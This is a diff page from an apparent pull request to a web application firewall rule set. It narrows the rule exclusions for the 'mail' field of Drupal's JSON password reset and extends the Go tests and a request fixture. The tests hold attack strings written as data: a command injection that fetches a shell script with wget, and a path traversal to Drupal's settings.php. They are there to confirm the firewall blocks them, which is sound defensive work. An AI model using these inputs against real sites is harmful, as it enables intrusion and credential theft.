Core Rule Set: Drupal's JSON password reset takes an address (closes #262) #267
No files matched your search
@@ -977,6 +977,7 @@ requests. The changes hold in front of every app, and no setting undoes them:
|
|||||||
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
|
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
|
||||||
- `name` when resetting a password through Drupal's JSON format on
|
- `name` when resetting a password through Drupal's JSON format on
|
||||||
`/user/password`, for the same four rules.
|
`/user/password`, for the same four rules.
|
||||||
|
- `mail` in that same reset, for 932120 and 932260 only.
|
||||||
- `name` when signing up, editing an account and commenting without an
|
- `name` when signing up, editing an account and commenting without an
|
||||||
account, for the same four rules.
|
account, for the same four rules.
|
||||||
- `mail` on those forms, for 930120, 932120 and 932260 only.
|
- `mail` on those forms, for 930120, 932120 and 932260 only.
|
||||||
|
|||||||
@@ -228,3 +228,12 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
|
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
|
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
|
||||||
|
|
||||||
|
# The same reset may name the account by its address in the JSON field mail:
|
||||||
|
# POST /user/password?_format=json with a mail of python3@example.com. An
|
||||||
|
# address skips only the two rules the recorded addresses set off.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
||||||
|
"id:900818,phase:1,pass,nolog,chain"
|
||||||
|
SecRule &ARGS_GET:json.mail "@eq 0" \
|
||||||
|
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
|
||||||
@@ -183,14 +183,34 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
|||||||
`; wget http://example.com/x.sh`,
|
`; wget http://example.com/x.sh`,
|
||||||
`../../sites/default/settings.php`,
|
`../../sites/default/settings.php`,
|
||||||
} {
|
} {
|
||||||
|
for _, field := range []string{"name", "mail"} {
|
||||||
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
||||||
body := `{"name":"` + attack + `"}`
|
body := `{"` + field + `":"` + attack + `"}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
if got.Score < drupalThreshold {
|
if got.Score < drupalThreshold {
|
||||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// An address keeps 932250, which refuses ls -la, and 930120, which
|
||||||
|
// refuses system file names.
|
||||||
|
for _, kept := range []struct {
|
||||||
|
value string
|
||||||
|
rule int
|
||||||
|
}{
|
||||||
|
{"ls -la", 932250},
|
||||||
|
{".htaccess@example.com", 930120},
|
||||||
|
} {
|
||||||
|
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
||||||
|
body := `{"mail":"` + kept.value + `"}`
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
|
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
|
||||||
|
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
|
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
|
||||||
@@ -357,6 +377,16 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|||||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
|
||||||
|
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
||||||
|
body := `{"mail":"` + address + `"}`
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
|
if got.Score >= drupalThreshold {
|
||||||
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDrupalExclusionsAreNarrow(t *testing.T) {
|
func TestDrupalExclusionsAreNarrow(t *testing.T) {
|
||||||
@@ -436,4 +466,17 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|||||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// So does the JSON field mail.
|
||||||
|
for _, target := range []string{
|
||||||
|
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
|
||||||
|
"/user/register?_format=json",
|
||||||
|
} {
|
||||||
|
r := request{http.MethodPost, target, []string{jsonBody}}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
|
||||||
|
if got.Score < drupalThreshold {
|
||||||
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -412,6 +412,11 @@
|
|||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"}
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"}
|
||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"}
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"}
|
||||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"}
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"example@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"python3@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"powershell@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"ls-la@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"htaccess@example.com\"}"}
|
||||||
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||||
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
|
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
|
||||||
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||||
|
|||||||
Reference in new issue
Block a user